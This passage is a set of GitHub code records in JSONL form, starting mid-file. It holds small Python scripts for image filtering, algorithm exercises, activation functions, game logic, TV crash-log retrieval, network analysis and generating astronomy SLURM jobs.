t0)))\n    MODEL[config.VECTORIZERNAME] = VECTORIZER\n    for classifier_name, classifier in CLASSIFIERS:\n        MODEL[classifier_name] = {}\n        print(\"=\"*40)\n        print(classifier_name)\n        print(classifier)\n        for classcol in config.CLASSCOLS:\n            print(\"training on\\t{:s}\".format(classcol))\n            t0 = time()\n            y_learn = numpy.array(data[classcol])\n            classifier.fit(X_learn, y_learn)\n            print_verbose(\"training done\\t{:0.3f}s\".format((time() - t0)))\n            MODEL[classifier_name][classcol] = copy.copy(classifier)\n    helper.save_pkl(MODEL, pkl_filename)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"michep/IncClassifier","sub_path":"LearnClassifier.py","file_name":"LearnClassifier.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4988258564","text":"# 최소한의 동전 갯수로 손님에게 거슬러주기\n\nn = 1260 # 거슬러 줘야 할 돈\n\ncnt = 0 # 동전 갯수\n\narr = [500,100,50,10] # 거스름돈 종류\n\nfor coin in arr: # 거스름돈 종류를 돌려준다\n    cnt += n//coin # 거스름돈을 코인으로 나눠준 몫을 카운트에 + 해줌 // 1260//500은 2\n    n %= coin # 이제 거스름돈은 500으로 나눈 나머지 260이된다 \n\nprint(cnt) # 위의 과정을 돌리고 돌리면 6이 나온다 // 500*2, 100*2, 50*1, 10*1","repo_name":"rlagudals95/Algorythm","sub_path":"algoprac2/giridy_prac.py","file_name":"giridy_prac.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3247118399","text":"import numpy as np\nfrom PIL import Image\nfrom scipy.ndimage import convolve\nimport matplotlib.pyplot as plt\nfrom utils import greyscale_convert\n\n\ndef sobel_filter_x(image):\n    g_x = np.array([[-1, 0, 1], [-2, 0, 2], [-1, 0, 1]])\n    return convolve(image, g_x)\n\n\ndef sobel_filter_y(image):\n    g_y = np.array([[1, 2, 1], [0, 0, 0], [-1, -2, -1]])\n    return convolve(image, g_y)\n\n\ndef gradient_magnitude(img_x, img_y):\n    magnitude = np.sqrt(np.square(img_x.copy()) + np.square(img_y.copy()))\n    magnitude *= 255 / magnitude.max()\n    return magnitude.astype(int)\n\n\nfig = plt.figure(figsize=(15, 5))\nimg = Image.open(\"images/panther.jpg\")\n\na = fig.add_subplot(1, 5, 1)\nplt.imshow(img)\na.set_title('Before')\n\na = fig.add_subplot(1, 5, 2)\nimg_greyscale = greyscale_convert(img)\nplt.imshow(img_greyscale, cmap='gray')\na.set_title('Greyscale')\n\na = fig.add_subplot(1, 5, 3)\nimg_sobel_x = sobel_filter_x(img_greyscale)\nplt.imshow(img_sobel_x, cmap='gray')\na.set_title('Sobel X')\n\na = fig.add_subplot(1, 5, 4)\nimg_sobel_y = sobel_filter_y(img_greyscale)\nplt.imshow(img_sobel_y, cmap='gray')\na.set_title('Sobel Y')\n\na = fig.add_subplot(1, 5, 5)\nimg_sobel_combined = gradient_magnitude(img_sobel_x, img_sobel_y)\nplt.imshow(img_sobel_combined, cmap='gray')\na.set_title('Gradient Magnitude')\n\nplt.show()\n","repo_name":"Tariod/image-processing","sub_path":"sobel_filter.py","file_name":"sobel_filter.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34400298919","text":"\"\"\"\n\nPlik z funkcjami aktywacji\n\n\"\"\"\n\nimport numpy as np\n\n\ndef linear_function(x, derivative = False):\n    \"\"\" Funkcja liniowa \"\"\"\n    \n    return 0.2 if derivative else (0.2) * x\n\n\ndef cut_linear_function(x, derivative = False):\n    \"\"\" Obcięta funkcja liniowa  \"\"\"\n    wektor = []\n    d = []\n    for elem in x:\n        if elem < -1 :\n            wektor.append(-1)\n            d.append(0)\n        elif elem > 1:\n            wektor.append(1)\n            d.append(0)\n        else:\n            wektor.append(elem)\n            d.append(1)\n    return d if derivative else wektor\n\n\ndef unipolar_threshold_function(x, derivative = False):\n    \"\"\"Funkcja progowa unipolarna \"\"\"\n    wektor = []\n    d = [0] * len(x)\n    for elem in x:\n        if elem < 0 :\n            wektor.append(0)\n        else:\n            wektor.append(1)\n    return d if derivative else wektor\n\n\ndef bipolar_threshold_function(x, derivative = False):\n    \"\"\"Funkcja progowa bipolarna \"\"\"\n    wektor = []\n    d = [0] * len(x)\n    for elem in x:\n        if elem < 0 :\n            wektor.append(-1)\n        else:\n            wektor.append(1)\n    return d if derivative else wektor\n\n\ndef sigmoid_function(x, derivative = False):\n    \"\"\" Sigmoidalna funkcja unipolarna \"\"\"\n    return x * (1.0 - x) if derivative else 1.0 / (1.0 + np.exp(-x))\n\n\ndef sigmoid_function_bi(x, derivative = False):\n    \"\"\"Sigmoidalna funkcja bipolarna (tangens hiperboliczny) \"\"\"\n    return sigmoid_function_bi_d(x) if derivative else sigmoid_function_bi_f(x)\n\n\ndef sigmoid_function_bi_f(x):\n    return (1 - np.exp(-x)) / (1 + np.exp(-x))\n\n\ndef sigmoid_function_bi_d(x):\n    return 1 - sigmoid_function_bi_f(x) ** 2\n\n\ndef gaussian_function(x, derivative = False):\n    \"\"\"Funkcja Gaussa\"\"\"\n    return -2 * x * np.exp(-x ** 2) if derivative else np.exp((-x**2)/2) \n","repo_name":"aleksandramiesiac/MG--Projekt1","sub_path":"activation_functions.py","file_name":"activation_functions.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70560528081","text":"from urllib.parse import urlparse, urlunparse, parse_qs, urlencode\n\ndef amazoned(url, affiliate):\n    new_url = urlparse(url)\n    if not new_url.netloc:\n        return None\n\n    query_dict = parse_qs(new_url[4])\n    query_dict['tag'] = affiliate\n    new_url = new_url[:4] + (urlencode(query_dict, True), ) + new_url [5:]\n\n    return urlunparse(new_url)","repo_name":"YoungTrep/Python-Amazoned","sub_path":"amazoned.py","file_name":"amazoned.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43798903443","text":"# 16918 봄버맨\n# 31256 KB / 96 ms\n\nimport sys\ninput = sys.stdin.readline\n\n# 우 하 좌 상\ndxy = ((0, 1),(1, 0),(0,-1),(-1, 0))\n\nr, c, n = map(int, input().split())\ng0 = [input().rstrip() for _ in range(r)] # 초기 상태, 1초\n# g2 = [['O']*c for _ in range(r)] # n이 짝수일 때\ng3 = [['O']*c for _ in range(r)] # n%4 == 3 일 때\ng1 = [['O']*c for _ in range(r)] # n%4 == 1 일 때\n\n# g0에서 g3갈 때\nfor x in range(r):\n    for y in range(c):\n        if g0[x][y] == 'O':\n            g3[x][y] = '.'\n            for dx, dy in dxy:\n                nx = x + dx\n                ny = y + dy\n                if nx < 0 or nx >= r or ny < 0 or ny >= c:\n                    continue\n                g3[nx][ny] = '.'\n# g3에서 g1갈 때\nfor x in range(r):\n    for y in range(c):\n        if g3[x][y] == 'O':\n            g1[x][y] = '.'\n            for dx, dy in dxy:\n                nx = x + dx\n                ny = y + dy\n                if nx < 0 or nx >= r or ny < 0 or ny >= c:\n                    continue\n                g1[nx][ny] = '.'\n\n# 출력 분기 처리\nif n == 1:\n    print('\\n'.join(g0))\nelif n%4 == 1:\n    for g in g1:\n        print(''.join(g))\nelif n%4 == 3:\n    for g in g3:\n        print(''.join(g))\nelse: # 짝수일 때\n    [print('O'*c) for _ in range(r)]\n    # for g in g2:\n    #     print(''.join(g))","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week15_230420/16918_봄버맨/16918_정광배.py","file_name":"16918_정광배.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"70214840083","text":"from objects import world_object\r\nimport display\r\nimport world\r\nimport copy\r\n\r\nfrom items import no_item\r\n\r\nclass merchant(world_object.world_object):\r\n    def __init__(this, posX, posY, inventory = [], overpricing = 2):\r\n        super().__init__(posX, posY, 'interactable')\r\n        this.attributes.update({\"items\" : inventory, \"players_start\" : {}, \"players_buying\" : {}, \"players_selling\" : {}, \"cost_mult\" : overpricing})\r\n    def update(this, delta_time):\r\n        for plr in world.players:\r\n            if plr.X + 1 >= this.X and plr.X - 1 <= this.X and plr.Y + 1 >= this.Y and plr.Y -1 <= this.Y:\r\n                if plr.attributes[\"current_menu\"] is None: # Start talking to new players\r\n                    this.attributes[\"players_start\"][plr] = 0\r\n                    plr.attributes[\"current_menu\"] = display.menu(\"Buy or sell?\", plr, \"Buy\", \"Sell\")\r\n\r\n        left_players = []\r\n        for plr in this.attributes[\"players_start\"]:\r\n            if plr.X + 1 >= this.X and plr.X - 1 <= this.X and plr.Y + 1 >= this.Y and plr.Y -1 <= this.Y:\r\n                upd = plr.attributes[\"current_menu\"].update()\r\n                if upd is not None:\r\n                    if upd: # They chose sell\r\n                        can_sell = [] # What items they can sell\r\n                        options  = [] # Text for menu\r\n                        for itm in plr.attributes[\"items\"]:\r\n                            if itm.value > 0:\r\n                                can_sell.append(itm)\r\n                                options.append(itm.name + '(' + str(itm.amount) + ')(\\\\fy' + str(itm.value) + '\\\\fw)')\r\n                        plr.attributes[\"current_menu\"] = display.menu(\"Sell what?\", plr, \"Nothing\", *options)\r\n                        this.attributes[\"players_selling\"][plr] = can_sell\r\n                    else:   # They chose buy\r\n                        can_buy = [] # What items they can buy\r\n                        options = [] # Text for menu\r\n                        for itm in this.attributes[\"items\"]:\r\n                            if itm.value * this.attributes[\"cost_mult\"] * itm.amount <= plr.attributes[\"money\"]: # If they can buy it, add it.\r\n                                can_buy.append(itm)\r\n                                options.append(itm.name + '(' + str(itm.amount) + ')(\\\\fy' + str(itm.value * this.attributes[\"cost_mult\"] * itm.amount) + '\\\\fw)')\r\n                        plr.attributes[\"current_menu\"] = display.menu(\"Buy what?\", plr, \"Nothing\", *options)\r\n                        this.attributes[\"players_buying\"][plr] = can_buy\r\n\r\n                    left_players.append(plr)\r\n            else:\r\n                plr.attributes[\"current_menu\"] = None\r\n                left_players.append(plr)\r\n            if plr not in world.players:\r\n                left_players.append(plr)\r\n\r\n        for left in left_players:\r\n            del this.attributes[\"players_start\"][left]\r\n\r\n        left_players.clear()\r\n        for plr in this.attributes[\"players_buying\"]:\r\n            if plr.X + 1 >= this.X and plr.X - 1 <= this.X and plr.Y + 1 >= this.Y and plr.Y -1 <= this.Y:\r\n                upd = plr.attributes[\"current_menu\"].update()\r\n                if upd is not None:\r\n                    if upd != 0:\r\n                        item_bought = this.attributes[\"players_buying\"][plr][upd - 1] # Find chosen item\r\n                        if item_bought.value * this.attributes[\"cost_mult\"] * item_bought.amount <= plr.attributes[\"money\"]: # Give them item if true\r\n                            if item_bought in plr.attributes[\"items\"]:\r\n                                # Get their item location\r\n                                plr.attributes[\"items\"][plr.attributes[\"items\"].index(item_bought)].amount \\\r\n                                         += item_bought.amount # And add how many they bought\r\n                            else: # Give them the item\r\n                                plr.attributes[\"items\"].append(copy.deepcopy(item_bought))\r\n                            plr.attributes[\"money\"] -= item_bought.value * this.attributes[\"cost_mult\"] * item_bought.amount\r\n\r\n                    this.attributes[\"players_start\"][plr] = 0\r\n                    plr.attributes[\"current_menu\"] = display.menu(\"Buy or sell?\", plr, \"Buy\", \"Sell\")\r\n                    left_players.append(plr)\r\n            else:\r\n                plr.attributes[\"current_menu\"] = None\r\n                left_players.append(plr)\r\n            if plr not in world.players:\r\n                left_players.append(plr)\r\n\r\n        for left in left_players:\r\n            del this.attributes[\"players_buying\"][left]\r\n\r\n        left_players.clear()\r\n        for plr in this.attributes[\"players_selling\"]:\r\n            if plr.X + 1 >= this.X and plr.X - 1 <= this.X and plr.Y + 1 >= this.Y and plr.Y -1 <= this.Y:\r\n                upd = plr.attributes[\"current_menu\"].update()\r\n                if upd is not None:\r\n                    if upd != 0:\r\n                        item_sold = this.attributes[\"players_selling\"][plr][upd - 1]  # Find chosen item\r\n                        if item_sold in plr.attributes[\"items\"]:  # If they still have it\r\n                            plr.attributes[\"money\"] += item_sold.value # Give gold\r\n                            item_sold.amount -= 1                 # Remove one of it\r\n                            if item_sold.amount <= 0:             # No items left\r\n                                del plr.attributes[\"items\"][plr.attributes[\"items\"].index(item_sold)]  # Remove item from inventory\r\n                                if plr.attributes[item_sold.type] == item_sold: # If equipped\r\n                                    plr.attributes[item_sold.type].unequip(plr)\r\n                                    plr.attributes[item_sold.type] = no_item.make_noitem(item_sold.type)\r\n\r\n                    this.attributes[\"players_start\"][plr] = 0\r\n                    plr.attributes[\"current_menu\"] = display.menu(\"Buy or sell?\", plr, \"Buy\", \"Sell\")\r\n                    left_players.append(plr)\r\n            else:\r\n                plr.attributes[\"current_menu\"] = None\r\n                left_players.append(plr)\r\n            if plr not in world.players:\r\n                left_players.append(plr)\r\n\r\n        for left in left_players:\r\n            del this.attributes[\"players_selling\"][left]\r\n\r\n    def char(this):\r\n        return 'M'\r\n    \r\n    def color(this):\r\n        return display.YELLOW\r\n\r\n\r\n","repo_name":"fuzzything44/pyRPG","sub_path":"pyRPG_Server/objects/General/merchant.py","file_name":"merchant.py","file_ext":"py","file_size_in_byte":6416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70434775762","text":"from client.controllers import Controller\nfrom client.mixins import DownloadCrashesDumpsMixin, TestLoggingMixin\nfrom client.utils.tv.nonsoap_commands import ping\n\n\nclass ControllerForDownloadCrashesDumps(Controller,\n                                        DownloadCrashesDumpsMixin,\n                                        TestLoggingMixin\n                                        ):\n    \"\"\"\n    Controller is designed to download crash and dump core files from TV.\n    Crash files reside on /var/local/clogs/dvbcrash_19700103023126.log\n    Dump files reside /mnt/lo_0*/clogs/012837489920.core\n    \"\"\"\n\n    def __init__(self, params, *args, **kwargs):\n        super().__init__(params, *args, **kwargs)\n\n        # mixins\n        self._timeout = params.timeout\n        self._log_dir = params.log_dir\n\n    def _execute_test(self):\n        if not ping.check_ip(self._tvip):\n            raise RuntimeError('Device under test is unreachable.')\n\n        try:\n            self.get_crash_logs()\n        except Exception as e:\n            self._testlog('\\nCrash Files was not retrieved from TV. ')\n            self._testlog('Reason: {}'.format(e))\n            self._testlog('\\nTest result: TEST_FAILED')\n            return\n\n        try:\n            self.get_dump_files()\n        except Exception as e:\n            self._testlog('\\nDump Files was not retrieved from TV. ')\n            self._testlog('Reason: {}\\n'.format(e))\n            self._testlog('\\nTest result: TEST_FAILED')\n            return\n\n        self._testlog('\\nTest result: TEST_PASSED')\n","repo_name":"papachappa/client","sub_path":"client/controllers/download_crashes_dumps.py","file_name":"download_crashes_dumps.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29002028517","text":"import json\nimport collections\nfrom networkx import Graph\nimport networkxrust\n\n\ndef get_most_freq_lang(data):\n    language_list = list()\n\n    for _, repo_list in data.items():\n        for repo in repo_list:\n            for _, repoinfo in repo.items():\n                language_list.append(repoinfo[\"language\"])\n\n    c = collections.Counter(language_list)\n    print(c.most_common())\n\n\ndef control_depth(data):\n    for user, repo_list in data.items():\n        visited_repo = list()\n        for repo in repo_list:\n            if repo in visited_repo:\n                print(\"WARNING\", repo)\n                quit()\n            visited_repo.append(repo)\n\n\ndef prepare_data_for_rust(network):\n    nodes = list(network.nodes)\n    adj = network.adj\n    radj = list()\n    for k, v in adj.items():\n        n = list()\n        for v2 in v.keys():\n            n.append(v2)\n        radj.append((k, n))\n    return nodes, radj\n\n\ndef chunks_for_rust(adj):\n    for i in range(0, len(adj), 200):\n        yield adj[i:i+200]\n\ndef prepare_rust_elab(network):\n    nodes, adj = prepare_data_for_rust(network)\n    e = networkxrust.Elab(nodes, adj[:200])\n\n    for chunk in chunks_for_rust(adj[200:]):\n        e.add(chunk)\n    return e\n\n\ndef merge_dictionaries(first_dict, second_dict):\n    if len(first_dict) > len(second_dict):\n        return _merge_dicts(first_dict, second_dict)\n    else:\n        return _merge_dicts(second_dict, first_dict)\n\n\ndef _merge_dicts(f_dict, s_dict):\n    visited_users = set()\n    for user, repos in f_dict.items():\n        visited_users.add(user)\n        s_repo = s_dict.get(user)\n        if not s_repo:\n            continue\n        merged_repos = repos + s_repo\n        visited = set()\n        final_repos = list()\n        for mr in merged_repos:\n            key = next(iter(mr))\n            if key not in visited:\n                visited.add(key)\n                final_repos.append(mr)\n        f_dict[user] = final_repos\n\n    for user, repos in s_dict.items():\n        if user not in visited_users:\n            f_repo = f_dict.get(user)\n            if not f_repo:\n                # if s_dict user doesn't exist in f_dict, we can simply copy/paste it\n                f_dict[user] = repos\n                continue\n            merged_repos = repos + f_repo\n            visited = set()\n            final_repos = list()\n            for mr in merged_repos:\n                key = next(iter(mr))\n                if key not in visited:\n                    visited.add(key)\n                    final_repos.append(mr)\n            f_dict[user] = final_repos\n\n    return f_dict\n\n\ndef get_rust_shortpath():\n    import networkx as nx\n    import networkxrust\n    n = nx.fast_gnp_random_graph(200, 0.3, directed=False)\n    nodes, radj = prepare_data_for_rust(n)\n    return networkxrust.shortest_path_length(nodes, radj)\n","repo_name":"levnikmyskin/sna_github_repos","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18680985408","text":"#!/usr/bin/env python3\n\nimport subprocess\nimport csv\nimport numpy as np\n\nDs = [10e-12, 5e-12, 1e-12]\niterations = 100\n\nfor D in Ds: \n  for i in range(iterations): \n    print(\"running pSpatiocyte dilute diffusion model with D:%e\"\n        %D, \"iteration:%d/%d\" %(i+1, iterations))\n    dirname = 'D_'+str(D)+'__'+str(i)\n    result = subprocess.run(['mpirun', '-np', '8', 'dilute', dirname,\n      str(D), str(i)], stdout=subprocess.PIPE)\n    time = float(result.stdout.decode('utf-8').split('\\n')[-2])\n    subprocess.run(['python3', '../../../scripts/gather_coordinates.py',\n      dirname])\n    print('\\telapsed time:',time)\n\n\n\n","repo_name":"satya-arjunan/pspatiocyte","sub_path":"src/pspatiocyte/models/diffusion/dilute/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"8803157383","text":"\"\"\"Vary the IMF, BF, -dAv, -sub calls to calcsfh\"\"\"\nfrom __future__ import print_function\nimport argparse\nimport itertools\nimport os\nimport sys\n\nimport numpy as np\n\ntry:\n    from .config import calcsfh, calcsfh_flag, OUTEXT, SCRNEXT\n    from .utils import splitext, writeorappend, parse_argrange\n    from .fileio import read_calcsfh_param, calcsfh_input_parameter\nexcept SystemError:\n    from config import calcsfh, calcsfh_flag, OUTEXT, SCRNEXT\n    from utils import splitext, writeorappend, parse_argrange\n    from fileio import read_calcsfh_param, calcsfh_input_parameter\n\n\ndef write_slurm(cmdscript, outdir='slurm', istart=1, use_bg=False):\n    \"\"\"\n    Read a calcsfh_ssp script (output of varyparams) and split calls into\n    separate calcsfh_*.sh scripts to be called in a job array.\n\n    All outputs of this function will be put in [outdir].\n    The match parameter, phot, and fake files referenced in the cmdscript\n    will also be copied into [outdir] with the idea it will be tar'd up and\n    shipped to odyssey.\n\n    calcsfh.slurm is also written (all hardcoded but job array size)\n    for sbatch submission.\n\n    All the ssp.scrn and ssp.out file names are changed to have the same job\n    array index as the calcsfh_*.sh file for fast debugging if a job gets\n    killed or fails.\n    \"\"\"\n    if not os.path.isdir(outdir):\n        os.mkdir(outdir)\n\n    with open(cmdscript, 'r') as inp:\n        cmds = inp.readlines()\n    cmds = [c.replace('&', '') for c in cmds if 'wait' not in c and len(c) > 0]\n\n    iend = istart + len(cmds) - 1\n\n    copys = []\n    num = istart\n    for i, cmd in enumerate(cmds):\n        # num = ('{0:d}'.format(i + 1)).zfill(4)\n        _, param, phot, fake = cmd.split()[:4]\n        cmdfn = os.path.join(outdir, 'calcsfh_{0:d}.sh'.format(num))\n        cmd = cmd.replace('ssp.', 'ssp{0:d}.'.format(num))\n        with open(cmdfn, 'w') as outp:\n            outp.write(cmd)\n        num += 1\n        copys.append(param)\n        copys.append(phot)\n        copys.append(fake)\n\n    if use_bg:\n        copys.append('bg.dat')\n\n    for c in np.unique(copys):\n        os.system('cp {0:s} {1:s}/{0:s}'.format(c, outdir))\n\n    line = \"#!/bin/bash\\n\\n\"\n    line += \"#SBATCH -n 2\\n\"\n    line += \"#SBATCH -N 1\\n\"\n    line += \"#SBATCH -t 36:00:00\\n\"\n    line += \"#SBATCH --mem 60000\\n\"\n    line += \"#SBATCH -p conroy\\n\"\n    line += \"#SBATCH --array={0:d}-{1:d}\\n\".format(istart, iend)\n    line += \"#SBATCH -o calcsfh_%a.o\\n\"\n    line += \"#SBATCH -e calcsfh_%a.e\\n\"\n    line += \"#SBATCH --mail-type=END,FAIL\\n\"\n    line += \"#SBATCH --mail-user=philip.rosenfield@cfa.harvard.edu\\n\\n\"\n    line += \"bash calcsfh_${SLURM_ARRAY_TASK_ID}.sh\\n\"\n    line += \"exit\\n\"\n\n    with open(os.path.join(outdir, 'calcsfh.slurm'), 'w') as outp:\n        outp.write(line)\n\n\ndef getflags(dav=None, sub=None, imf=None):\n    \"\"\"Add -dAv, -sub, and/or -kroupa or -chabrier to config.calcsfh_flag\"\"\"\n    flag = calcsfh_flag\n\n    if dav is not None:\n        flag += \" -dAv={0:.2f}\".format(dav)\n\n    if sub is not None:\n        flag += \"  -sub={0:s}\".format(sub)\n\n    if isinstance(imf, str) and imf == 'kroupa' or imf == 'chabrier':\n        flag += \" -{0:s}\".format(imf)\n\n    return flag\n\n\ndef vary_matchparam(param_file, varyarrs=None, power_law_imf=True,\n                    params=None):\n    \"\"\"\n    Vary parameters from a match param template file.\n    param_file : string\n        calcsfh input (aka parameter) file\n    varyarrs : dict\n        a dictionary of array values where each key is XXXarr where\n        XXX is a key in calcsfh_input_parameter\n\n    power_law_imf : bool\n        passed to calcsfh_input_parameter\n\n    params : dict\n        parameters to overwite param_file with but not vary. (probably\n        tmin, tmax)\n\n    Returns\n    -------\n    new_names : list\n        list of string new parameter file names (with new parameters in the\n        filename) that were written\n    \"\"\"\n    new_names = []\n    varyarrs = {} or varyarrs\n    params = {} or params\n\n    pname, ext = splitext(param_file)\n    template = read_calcsfh_param(param_file)\n    template.update(params)\n\n    # force using tbin, tmin, tmax:\n    del template['ntbins']\n\n    for vals in itertools.product(*varyarrs.values()):\n        # Add the varied parameters to the filename\n        name = []\n        for i, val in enumerate(vals):\n            key = list(varyarrs.keys())[i].replace('arr', '')\n            template[key] = val\n            name.append('{0:s}{1:g}'.format(key, val))\n\n        new_params = calcsfh_input_parameter(power_law_imf=power_law_imf,\n                                             **template)\n        new_params = np.atleast_1d(new_params)\n\n        for j, new_param in enumerate(new_params):\n            if j == 0:\n                new_name = '{0:s}_{1:s}.{2:s}'.format(pname, '_'.join(np.sort(name)), ext)\n            else:\n                new_name = '{0:s}_{1:s}_par{3:d}.{2:s}'.format(pname, '_'.join(np.sort(name)), ext, j)\n\n            with open(new_name, 'w') as outp:\n                outp.write(new_param)\n                # print('wrote {0:s}'.format(new_name))\n            new_names.append(new_name)\n    return new_names\n\n\ndef vary_calcsfh_calls(phot, fake, params, outfile, subs, davs,\n                       calcsfh=calcsfh, destination=None, check=False,\n                       nproc=12, extra='', imf=None):\n    \"\"\"\n    loop over param files to create output filenames and calcsfh calls for\n    parameters that vary that are not in the calcsfh parameter file.\n    \"\"\"\n    runtot = len(params) * len(davs) * len(subs)\n    print('Requested {0:d} calcsfh calls'.format(runtot))\n\n    line = ''\n    inproc = 0\n    for sub in subs:\n        subfmt = ''\n        if sub is not None:\n            subfmt = '_{0:s}'.format(sub)\n        for dav in davs:\n            for param in params:\n                parfile = param\n                if destination is not None:\n                    parfile = os.path.join(destination,\n                                           os.path.split(param)[1])\n                prefx, _ = splitext(parfile)\n                suffx = 'dav{0:g}{1:s}{2:s}_ssp'.format(dav, subfmt, extra)\n\n                name = '_'.join([prefx, suffx])\n\n                out = '{0:s}{1:s}'.format(name, OUTEXT)\n                scrn = '{0:s}{1:s}'.format(name, SCRNEXT)\n\n                if check and os.path.isfile(out):\n                    print('{0:s} exists, not overwriting'.format(out))\n                else:\n                    inproc += 1\n                    flags = getflags(dav, sub=sub, imf=imf)\n                    line += ' '.join([calcsfh, param, phot, fake,\n                                      out, flags, '>', scrn, '&\\n'])\n                    if nproc == inproc:\n                        line += 'wait \\n'\n                        inproc = 0\n\n    writeorappend(outfile, line)\n\n\ndef main(argv):\n    \"\"\"\n    With an input match parameter file, replace values and create new\n    parameter files over a range of IMF, BF, dAv.\n    \"\"\"\n    parser = argparse.ArgumentParser(description=\"vary BF, IMF, and dAv\",\n                                     fromfile_prefix_chars='@')\n\n    parser.add_argument('-n', '--nproc', type=int, default=12,\n                        help='number of simultaneous calls to calcsfh')\n\n    parser.add_argument('--outfile', type=str, default='calcsfh_ssp.sh',\n                        help='file to save the script')\n\n    parser.add_argument('--imf', nargs='*', default=[-1, 3, 1],\n                        help='IMF min, max, dIMF or one value/string')\n\n    parser.add_argument('--bf', type=float, nargs='*', default=[0, 1., 0.3],\n                        help='BF min, max, dBF or list')\n\n    parser.add_argument('--dav', type=float, nargs='*', default=[0, 1.1, 0.5],\n                        help='dAv min, max, ddAv or list')\n\n    parser.add_argument('--tbin', type=float, nargs='*', default=[0.01],\n                        help='time min, max, ddAv')\n\n    parser.add_argument('--vstep', type=float, nargs='*', default=[0.15],\n                        help='vstep min, max, ddAv')\n\n    parser.add_argument('--vistep', type=float, nargs='*', default=[0.05],\n                        help='v-i step min, max, ddAv')\n\n    parser.add_argument('--tmin', type=float, default=6.6,\n                        help='min log age')\n\n    parser.add_argument('--tmax', type=float, default=10.25,\n                        help='max log age')\n\n    parser.add_argument('--max_tbins', type=int, default=100,\n                        help='max number of time bins')\n\n    parser.add_argument('--sub', type=str,\n                        help='track sub directory')\n\n    parser.add_argument('-e', '--extra', type=str, default='',\n                        help='add an extra string to output filenames.')\n\n    parser.add_argument('--destination', type=str, default=None,\n                        help='destination directory for calcsfh output')\n\n    parser.add_argument('--check', action='store_true',\n                        help=('check if calcsfh output file exists, '\n                              'useful for completeing interrupted runs.'))\n\n    parser.add_argument('--param_file', type=str,\n                        help='template parameter file (see .match_param)')\n\n    parser.add_argument('--phot', type=str,\n                        help='match photometry file (see .match_phot)')\n\n    parser.add_argument('--fake', type=str,\n                        help='match ast file (see .asts)')\n\n    parser.add_argument('--calcsfh', type=str, default=calcsfh,\n                        help='over ride default calcsfh base [config.calcsfh]')\n\n    parser.add_argument('--slurm', action='store_true',\n                        help='convert output script to slurm job array.')\n\n    parser.add_argument('--slurmstart', type=int, default=1,\n                        help='start the slurm numbering [1]')\n\n    parser.add_argument('--use_bg', action='store_true',\n                        help='use backgound file named bg.dat with smoothing=5')\n\n    args = parser.parse_args(argv)\n\n    if args.destination is not None:\n        assert (os.path.isdir(args.destination)), \\\n            'destination must be an existing directory'\n\n    extra = ''\n    if len(args.extra) > 0:\n        extra = '_{0:s}'.format(args.extra)\n\n    # get the array or calculate arange\n    subs = parse_argrange(args.sub)\n    davs = parse_argrange(args.dav)\n    varyarrs = {'bfarr': parse_argrange(args.bf),\n                'tbinarr': parse_argrange(args.tbin),\n                'visteparr': parse_argrange(args.vistep),\n                'vsteparr': parse_argrange(args.vstep)}\n    power_law_imf = False\n    imf = args.imf\n    if not isinstance(imf, str):\n        # i.e, not kroupa or chabrier\n        varyarrs['imfarr'] = parse_argrange(imf)\n        power_law_imf = True\n\n    cparams = {'tmin': args.tmin, 'tmax': args.tmax, 'max_tbins': args.max_tbins}\n\n    if args.use_bg:\n        cparams.update({'use_bg': True, 'bg_file': 'bg.dat', 'bg_smooth': 5})\n\n    # do the \"internal\" matchparam varying\n    params = vary_matchparam(args.param_file, varyarrs=varyarrs,\n                             params=cparams, power_law_imf=power_law_imf)\n\n    vary_calcsfh_calls(args.phot, args.fake, params, args.outfile, subs, davs,\n                       calcsfh=args.calcsfh, destination=args.destination,\n                       nproc=args.nproc, extra=extra, imf=imf)\n\n    if args.slurm:\n        if args.calcsfh == calcsfh:\n            print('Warning: calcsfh path is default -- {0:s}'.format(calcsfh))\n        write_slurm(args.outfile, istart=args.slurmstart, use_bg=args.use_bg)\n    return\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1:])\n","repo_name":"philrosenfield/match","sub_path":"scripts/vary_matchparam.py","file_name":"vary_matchparam.py","file_ext":"py","file_size_in_byte":11583,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
